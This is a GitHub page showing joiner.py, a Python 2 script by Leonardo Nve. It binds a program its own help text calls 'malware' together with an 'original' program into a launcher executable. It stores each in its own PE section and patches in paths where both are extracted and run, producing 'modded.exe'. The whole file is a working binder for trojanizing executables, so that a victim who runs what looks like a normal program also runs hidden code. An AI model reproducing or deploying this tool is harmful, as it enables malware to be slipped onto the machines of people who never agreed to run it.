-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathjoiner.py
executable file
·101 lines (73 loc) · 3.08 KB
/
joiner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
__author__ = 'Leonardo Nve'
from Handlers import PEBinder
import argparse
from tempfile import mkstemp
MALWARE_SECTION_NAME = ".ldata"
ORIGINAL_SECTION_NAME = ".blob"
MAX_PATH = 260
MALPATH_SIGNATURE = "LDATLDATLDATLDAT"
BLOBPATH_SIGNATURE = "BLOBBLOBBLOBBLOB"
def modpaths(launcher, path, signature = MALPATH_SIGNATURE):
if len(path)>=60:
print "ERROR: PATH too long"
return launcher
with open(launcher,"r") as f:
data = f.read()
position = data.find(signature)
print "SIGNATURE position: %d (0x%x)"%(position, position)
print "PATH length : ",str(len(path))
data = data[:position] + path + "\x00"*(MAX_PATH-len(path)) + data[position+MAX_PATH:]
fd, temp = mkstemp()
open(temp,"w").write(data)
return temp
print "ERROR: Path not changed"
return launcher
def add_programs(launcher, program1, original, output):
if program1 is not None:
pe = PEBinder.PEHandler(launcher)
try:
data = open(program1,"rb").read()
except Exception, e:
print "%s\n%s" % (Exception, e)
data = ''
new, cl, padding = pe.Bind(data,len(data), contentlength = len(data), change_rsrc = False, section_name = MALWARE_SECTION_NAME)
padata = pe.Padding()
with open(output,"wb") as f:
f.write(new)
if padata is not None:
f.write(padata)
launcher = output
if original is not None:
pe = PEBinder.PEHandler(launcher)
try:
data = open(original,"rb").read()
except Exception, e:
print "%s\n%s" % (Exception, e)
data = ''
new, cl, padding = pe.Bind(data,len(data), contentlength = len(data), change_rsrc = True, section_name = ORIGINAL_SECTION_NAME)
padata = pe.Padding()
with open(output,"wb") as f:
f.write(new)
if padata is not None:
f.write(padata)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-m", "--program1", help="First program to extract & execute (default = calc.exe)", default = "calc.exe")
parser.add_argument("-r", "--original", help="Second program to extract & execute ", default=None)
parser.add_argument("-p", "--path1" , help="Path to extract the program1 (malware)", default=None)
parser.add_argument("-s", "--path2" , help="Path to extract the original", default=None)
parser.add_argument("-l", "--launcher" , help="Launcher (default = Launcher.exe)", default = "Launcher.exe" )
parser.add_argument("-o", "--output" , help="Output file (default = modded.exe)", default = "modded.exe" )
args = parser.parse_args()
program1 = args.program1
original = args.original
output = args.output
path1 = args.path1
path2 = args.path2
launcher = args.launcher
if path1 is not None:
launcher = modpaths(launcher, path1, signature = MALPATH_SIGNATURE)
if path2 is not None:
launcher = modpaths(launcher, path2, signature = BLOBPATH_SIGNATURE)
add_programs(launcher, program1, original, output)